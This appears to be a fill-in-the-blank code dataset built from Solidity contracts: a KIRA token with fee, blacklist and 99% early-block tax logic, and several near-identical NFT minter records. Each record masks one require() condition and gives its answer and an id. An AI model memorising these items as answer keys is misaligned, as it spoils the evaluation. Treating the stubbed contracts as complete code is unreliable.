function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function transferOwnership(address _newOwner) public virtual onlyOwner { } function renounceOwnership() public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KIRA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private time; uint256 private bTime; uint256 private _tTotal = 5 * 10**6 * 10**18; struct fee { uint256 feeTotal; uint256 pcMarketing; uint256 pcBurn; uint256 pcLP; } fee private _sellFee = fee(70,50,10,10); fee private _buyFee = fee(70,50,10,10); fee private zeroTax = fee(0,0,0,0); fee private _maxTax = fee(990,990,0,0); fee private _initialSellTax = fee(200,200,0,0); string private constant _name = unicode"Doragon Kira"; string private constant _symbol = unicode"KIRA"; uint8 private constant _decimals = 18; uint256 private _maxTxAmount = _tTotal.div(100); uint256 private _maxWalletAmount = _tTotal.div(50); uint256 private _tokensForLp = 0; uint256 private _tokensForMarketing = 0; uint256 private minBalance = _tTotal.div(10000); address payable private _marketingWallet; IUniswapV2Router02 private uniswapV2Router; IERC20 private uniswapV2Pair; address private uniswapV2PairAddress; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { } constructor () payable { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function changeFeesBuy(uint256 _buyMarket,uint256 _buyBurn,uint256 _buyLP) external onlyOwner { } function changeFeesSell(uint256 _sellMarket,uint256 _sellBurn,uint256 _sellLP) external onlyOwner { } function changeLimits(uint256 pcMaxTx,uint256 pxMaxWallet) external onlyOwner { } function removeLimits() external onlyOwner{ } function excludeFromFees(address target) external onlyOwner{ } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from != owner() && to != owner()) { require(tradingOpen,"trading not active"); fee storage _tax = zeroTax; require(!bots[from] && !bots[to]); if(!_isExcludedFromFee[to]){ require(<FILL_ME>) require(amount <= _maxTxAmount,"max wallet"); if (from == uniswapV2PairAddress && to != address(uniswapV2Router)){ _tax = _buyFee; } if(bTime > block.number){ _tax = _maxTax; } } else if (to == uniswapV2PairAddress && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { if(block.timestamp > time){ _tax = _sellFee; }else{ _tax = _initialSellTax; } } if (!inSwap && from != uniswapV2PairAddress && swapEnabled && !_isExcludedFromFee[from]) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > minBalance){ swapBack(contractTokenBalance); } } if(_tax.feeTotal>0){ uint256 tax = amount.mul(_tax.feeTotal).div(1000); amount = amount.sub(tax); _tokensForLp = _tokensForLp.add(tax.mul(_tax.pcLP).div(_tax.feeTotal)); _tokensForMarketing = _tokensForMarketing.add(tax.mul(_tax.pcMarketing).div(_tax.feeTotal)); uint256 _burnTax = tax.mul(_tax.pcBurn).div(_tax.feeTotal); tax = tax.sub(_burnTax); _tTotal = _tTotal.sub(_burnTax); _transferStandard(from,address(0xdEaD),_burnTax); _transferStandard(from,address(this),tax); } } _transferStandard(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private { } function addLiquidity(uint256 tokenAmount,uint256 ethAmount) private { } function swapBack(uint256 contractTokenBalance) private lockTheSwap { } function openTrading() external onlyOwner { } function setBots(address[] memory bots_) public onlyOwner { } function delBot(address[] memory notbot) public onlyOwner { } function _transferStandard(address sender, address recipient, uint256 tAmount) private { } receive() external payable {} function manualSwap() external onlyOwner{ } function recoverTokens(address tokenAddress) external { } }
(_tOwned[to]+amount)<=_maxWalletAmount,"not a chance"
100,112
(_tOwned[to]+amount)<=_maxWalletAmount
'Passport required.'
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol'; import './ShurikenNFT.sol'; import './ShurikenStakedNFT.sol'; import './PassportNFT.sol'; contract CALMinterV2 is ReentrancyGuard, Ownable { enum Phase { BeforeMint, WLMint } ShurikenNFT public immutable shurikenNFT; PassportNFT public immutable passportNFT; Phase public phase = Phase.WLMint; bytes32 public merkleRoot; mapping(address => uint256) public shurikenMinted; uint256 public cardCost = 0.02 ether; uint256 public shurikenCost = 0.008 ether; uint256 public cardSupply = 3000; uint256 public shurikenSupply = 20000; uint256 public shurikenMaxMint = 3; constructor( ShurikenNFT _shurikenNFT, PassportNFT _passportNFT ) { } function mint( bool _card, uint256 _shurikenAmount, bytes32[] calldata _merkleProof ) external payable nonReentrant { require(phase == Phase.WLMint, 'WLMint is not active.'); require(<FILL_ME>) uint256 card = _card ? cardCost : 0; uint256 shuriken = shurikenCost * _shurikenAmount; require(_card || _shurikenAmount > 0, 'Mint amount cannot be zero'); if (_shurikenAmount != 0) { require( shurikenNFT.currentIndex() + _shurikenAmount - 1 <= shurikenSupply, 'Total supply cannot exceed shurikenSupply' ); require( shurikenMinted[_msgSender()] + _shurikenAmount <= shurikenMaxMint, 'Address already claimed max amount' ); } require(msg.value >= (card + shuriken), 'Not enough funds provided for mint'); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid Merkle Proof'); if (_card) { require(passportNFT.currentIndex() + 1 <= cardSupply, 'Total supply cannot exceed cardSupply'); require(passportNFT.balanceOf(_msgSender()) == 0, 'Address already claimed max amount'); passportNFT.minterMint(_msgSender(), 1); } if (_shurikenAmount != 0) { shurikenMinted[_msgSender()] += _shurikenAmount; shurikenNFT.minterMint(_msgSender(), _shurikenAmount); } } function setPhase(Phase _newPhase) external onlyOwner { } function setCardCost(uint256 _cardCost) external onlyOwner { } function setShurikenCost(uint256 _shurikenCost) external onlyOwner { } function setCardSupply(uint256 _cardSupply) external onlyOwner { } function setShurikenSupply(uint256 _shurikenSupply) external onlyOwner { } function setShurikenMaxMint(uint256 _shurikenMaxMint) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function withdraw(address payable withdrawAddress) external onlyOwner { } }
_card||passportNFT.balanceOf(_msgSender())==1,'Passport required.'
100,157
_card||passportNFT.balanceOf(_msgSender())==1
'Mint amount cannot be zero'
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol'; import './ShurikenNFT.sol'; import './ShurikenStakedNFT.sol'; import './PassportNFT.sol'; contract CALMinterV2 is ReentrancyGuard, Ownable { enum Phase { BeforeMint, WLMint } ShurikenNFT public immutable shurikenNFT; PassportNFT public immutable passportNFT; Phase public phase = Phase.WLMint; bytes32 public merkleRoot; mapping(address => uint256) public shurikenMinted; uint256 public cardCost = 0.02 ether; uint256 public shurikenCost = 0.008 ether; uint256 public cardSupply = 3000; uint256 public shurikenSupply = 20000; uint256 public shurikenMaxMint = 3; constructor( ShurikenNFT _shurikenNFT, PassportNFT _passportNFT ) { } function mint( bool _card, uint256 _shurikenAmount, bytes32[] calldata _merkleProof ) external payable nonReentrant { require(phase == Phase.WLMint, 'WLMint is not active.'); require(_card || passportNFT.balanceOf(_msgSender()) == 1, 'Passport required.'); uint256 card = _card ? cardCost : 0; uint256 shuriken = shurikenCost * _shurikenAmount; require(<FILL_ME>) if (_shurikenAmount != 0) { require( shurikenNFT.currentIndex() + _shurikenAmount - 1 <= shurikenSupply, 'Total supply cannot exceed shurikenSupply' ); require( shurikenMinted[_msgSender()] + _shurikenAmount <= shurikenMaxMint, 'Address already claimed max amount' ); } require(msg.value >= (card + shuriken), 'Not enough funds provided for mint'); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid Merkle Proof'); if (_card) { require(passportNFT.currentIndex() + 1 <= cardSupply, 'Total supply cannot exceed cardSupply'); require(passportNFT.balanceOf(_msgSender()) == 0, 'Address already claimed max amount'); passportNFT.minterMint(_msgSender(), 1); } if (_shurikenAmount != 0) { shurikenMinted[_msgSender()] += _shurikenAmount; shurikenNFT.minterMint(_msgSender(), _shurikenAmount); } } function setPhase(Phase _newPhase) external onlyOwner { } function setCardCost(uint256 _cardCost) external onlyOwner { } function setShurikenCost(uint256 _shurikenCost) external onlyOwner { } function setCardSupply(uint256 _cardSupply) external onlyOwner { } function setShurikenSupply(uint256 _shurikenSupply) external onlyOwner { } function setShurikenMaxMint(uint256 _shurikenMaxMint) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function withdraw(address payable withdrawAddress) external onlyOwner { } }
_card||_shurikenAmount>0,'Mint amount cannot be zero'
100,157
_card||_shurikenAmount>0
'Total supply cannot exceed shurikenSupply'
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol'; import './ShurikenNFT.sol'; import './ShurikenStakedNFT.sol'; import './PassportNFT.sol'; contract CALMinterV2 is ReentrancyGuard, Ownable { enum Phase { BeforeMint, WLMint } ShurikenNFT public immutable shurikenNFT; PassportNFT public immutable passportNFT; Phase public phase = Phase.WLMint; bytes32 public merkleRoot; mapping(address => uint256) public shurikenMinted; uint256 public cardCost = 0.02 ether; uint256 public shurikenCost = 0.008 ether; uint256 public cardSupply = 3000; uint256 public shurikenSupply = 20000; uint256 public shurikenMaxMint = 3; constructor( ShurikenNFT _shurikenNFT, PassportNFT _passportNFT ) { } function mint( bool _card, uint256 _shurikenAmount, bytes32[] calldata _merkleProof ) external payable nonReentrant { require(phase == Phase.WLMint, 'WLMint is not active.'); require(_card || passportNFT.balanceOf(_msgSender()) == 1, 'Passport required.'); uint256 card = _card ? cardCost : 0; uint256 shuriken = shurikenCost * _shurikenAmount; require(_card || _shurikenAmount > 0, 'Mint amount cannot be zero'); if (_shurikenAmount != 0) { require(<FILL_ME>) require( shurikenMinted[_msgSender()] + _shurikenAmount <= shurikenMaxMint, 'Address already claimed max amount' ); } require(msg.value >= (card + shuriken), 'Not enough funds provided for mint'); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid Merkle Proof'); if (_card) { require(passportNFT.currentIndex() + 1 <= cardSupply, 'Total supply cannot exceed cardSupply'); require(passportNFT.balanceOf(_msgSender()) == 0, 'Address already claimed max amount'); passportNFT.minterMint(_msgSender(), 1); } if (_shurikenAmount != 0) { shurikenMinted[_msgSender()] += _shurikenAmount; shurikenNFT.minterMint(_msgSender(), _shurikenAmount); } } function setPhase(Phase _newPhase) external onlyOwner { } function setCardCost(uint256 _cardCost) external onlyOwner { } function setShurikenCost(uint256 _shurikenCost) external onlyOwner { } function setCardSupply(uint256 _cardSupply) external onlyOwner { } function setShurikenSupply(uint256 _shurikenSupply) external onlyOwner { } function setShurikenMaxMint(uint256 _shurikenMaxMint) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function withdraw(address payable withdrawAddress) external onlyOwner { } }
shurikenNFT.currentIndex()+_shurikenAmount-1<=shurikenSupply,'Total supply cannot exceed shurikenSupply'
100,157
shurikenNFT.currentIndex()+_shurikenAmount-1<=shurikenSupply
'Address already claimed max amount'
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol'; import './ShurikenNFT.sol'; import './ShurikenStakedNFT.sol'; import './PassportNFT.sol'; contract CALMinterV2 is ReentrancyGuard, Ownable { enum Phase { BeforeMint, WLMint } ShurikenNFT public immutable shurikenNFT; PassportNFT public immutable passportNFT; Phase public phase = Phase.WLMint; bytes32 public merkleRoot; mapping(address => uint256) public shurikenMinted; uint256 public cardCost = 0.02 ether; uint256 public shurikenCost = 0.008 ether; uint256 public cardSupply = 3000; uint256 public shurikenSupply = 20000; uint256 public shurikenMaxMint = 3; constructor( ShurikenNFT _shurikenNFT, PassportNFT _passportNFT ) { } function mint( bool _card, uint256 _shurikenAmount, bytes32[] calldata _merkleProof ) external payable nonReentrant { require(phase == Phase.WLMint, 'WLMint is not active.'); require(_card || passportNFT.balanceOf(_msgSender()) == 1, 'Passport required.'); uint256 card = _card ? cardCost : 0; uint256 shuriken = shurikenCost * _shurikenAmount; require(_card || _shurikenAmount > 0, 'Mint amount cannot be zero'); if (_shurikenAmount != 0) { require( shurikenNFT.currentIndex() + _shurikenAmount - 1 <= shurikenSupply, 'Total supply cannot exceed shurikenSupply' ); require(<FILL_ME>) } require(msg.value >= (card + shuriken), 'Not enough funds provided for mint'); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid Merkle Proof'); if (_card) { require(passportNFT.currentIndex() + 1 <= cardSupply, 'Total supply cannot exceed cardSupply'); require(passportNFT.balanceOf(_msgSender()) == 0, 'Address already claimed max amount'); passportNFT.minterMint(_msgSender(), 1); } if (_shurikenAmount != 0) { shurikenMinted[_msgSender()] += _shurikenAmount; shurikenNFT.minterMint(_msgSender(), _shurikenAmount); } } function setPhase(Phase _newPhase) external onlyOwner { } function setCardCost(uint256 _cardCost) external onlyOwner { } function setShurikenCost(uint256 _shurikenCost) external onlyOwner { } function setCardSupply(uint256 _cardSupply) external onlyOwner { } function setShurikenSupply(uint256 _shurikenSupply) external onlyOwner { } function setShurikenMaxMint(uint256 _shurikenMaxMint) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function withdraw(address payable withdrawAddress) external onlyOwner { } }
shurikenMinted[_msgSender()]+_shurikenAmount<=shurikenMaxMint,'Address already claimed max amount'
100,157
shurikenMinted[_msgSender()]+_shurikenAmount<=shurikenMaxMint
'Not enough funds provided for mint'
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol'; import './ShurikenNFT.sol'; import './ShurikenStakedNFT.sol'; import './PassportNFT.sol'; contract CALMinterV2 is ReentrancyGuard, Ownable { enum Phase { BeforeMint, WLMint } ShurikenNFT public immutable shurikenNFT; PassportNFT public immutable passportNFT; Phase public phase = Phase.WLMint; bytes32 public merkleRoot; mapping(address => uint256) public shurikenMinted; uint256 public cardCost = 0.02 ether; uint256 public shurikenCost = 0.008 ether; uint256 public cardSupply = 3000; uint256 public shurikenSupply = 20000; uint256 public shurikenMaxMint = 3; constructor( ShurikenNFT _shurikenNFT, PassportNFT _passportNFT ) { } function mint( bool _card, uint256 _shurikenAmount, bytes32[] calldata _merkleProof ) external payable nonReentrant { require(phase == Phase.WLMint, 'WLMint is not active.'); require(_card || passportNFT.balanceOf(_msgSender()) == 1, 'Passport required.'); uint256 card = _card ? cardCost : 0; uint256 shuriken = shurikenCost * _shurikenAmount; require(_card || _shurikenAmount > 0, 'Mint amount cannot be zero'); if (_shurikenAmount != 0) { require( shurikenNFT.currentIndex() + _shurikenAmount - 1 <= shurikenSupply, 'Total supply cannot exceed shurikenSupply' ); require( shurikenMinted[_msgSender()] + _shurikenAmount <= shurikenMaxMint, 'Address already claimed max amount' ); } require(<FILL_ME>) bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid Merkle Proof'); if (_card) { require(passportNFT.currentIndex() + 1 <= cardSupply, 'Total supply cannot exceed cardSupply'); require(passportNFT.balanceOf(_msgSender()) == 0, 'Address already claimed max amount'); passportNFT.minterMint(_msgSender(), 1); } if (_shurikenAmount != 0) { shurikenMinted[_msgSender()] += _shurikenAmount; shurikenNFT.minterMint(_msgSender(), _shurikenAmount); } } function setPhase(Phase _newPhase) external onlyOwner { } function setCardCost(uint256 _cardCost) external onlyOwner { } function setShurikenCost(uint256 _shurikenCost) external onlyOwner { } function setCardSupply(uint256 _cardSupply) external onlyOwner { } function setShurikenSupply(uint256 _shurikenSupply) external onlyOwner { } function setShurikenMaxMint(uint256 _shurikenMaxMint) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function withdraw(address payable withdrawAddress) external onlyOwner { } }
msg.value>=(card+shuriken),'Not enough funds provided for mint'
100,157
msg.value>=(card+shuriken)
'Total supply cannot exceed cardSupply'
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol'; import './ShurikenNFT.sol'; import './ShurikenStakedNFT.sol'; import './PassportNFT.sol'; contract CALMinterV2 is ReentrancyGuard, Ownable { enum Phase { BeforeMint, WLMint } ShurikenNFT public immutable shurikenNFT; PassportNFT public immutable passportNFT; Phase public phase = Phase.WLMint; bytes32 public merkleRoot; mapping(address => uint256) public shurikenMinted; uint256 public cardCost = 0.02 ether; uint256 public shurikenCost = 0.008 ether; uint256 public cardSupply = 3000; uint256 public shurikenSupply = 20000; uint256 public shurikenMaxMint = 3; constructor( ShurikenNFT _shurikenNFT, PassportNFT _passportNFT ) { } function mint( bool _card, uint256 _shurikenAmount, bytes32[] calldata _merkleProof ) external payable nonReentrant { require(phase == Phase.WLMint, 'WLMint is not active.'); require(_card || passportNFT.balanceOf(_msgSender()) == 1, 'Passport required.'); uint256 card = _card ? cardCost : 0; uint256 shuriken = shurikenCost * _shurikenAmount; require(_card || _shurikenAmount > 0, 'Mint amount cannot be zero'); if (_shurikenAmount != 0) { require( shurikenNFT.currentIndex() + _shurikenAmount - 1 <= shurikenSupply, 'Total supply cannot exceed shurikenSupply' ); require( shurikenMinted[_msgSender()] + _shurikenAmount <= shurikenMaxMint, 'Address already claimed max amount' ); } require(msg.value >= (card + shuriken), 'Not enough funds provided for mint'); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid Merkle Proof'); if (_card) { require(<FILL_ME>) require(passportNFT.balanceOf(_msgSender()) == 0, 'Address already claimed max amount'); passportNFT.minterMint(_msgSender(), 1); } if (_shurikenAmount != 0) { shurikenMinted[_msgSender()] += _shurikenAmount; shurikenNFT.minterMint(_msgSender(), _shurikenAmount); } } function setPhase(Phase _newPhase) external onlyOwner { } function setCardCost(uint256 _cardCost) external onlyOwner { } function setShurikenCost(uint256 _shurikenCost) external onlyOwner { } function setCardSupply(uint256 _cardSupply) external onlyOwner { } function setShurikenSupply(uint256 _shurikenSupply) external onlyOwner { } function setShurikenMaxMint(uint256 _shurikenMaxMint) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function withdraw(address payable withdrawAddress) external onlyOwner { } }
passportNFT.currentIndex()+1<=cardSupply,'Total supply cannot exceed cardSupply'
100,157
passportNFT.currentIndex()+1<=cardSupply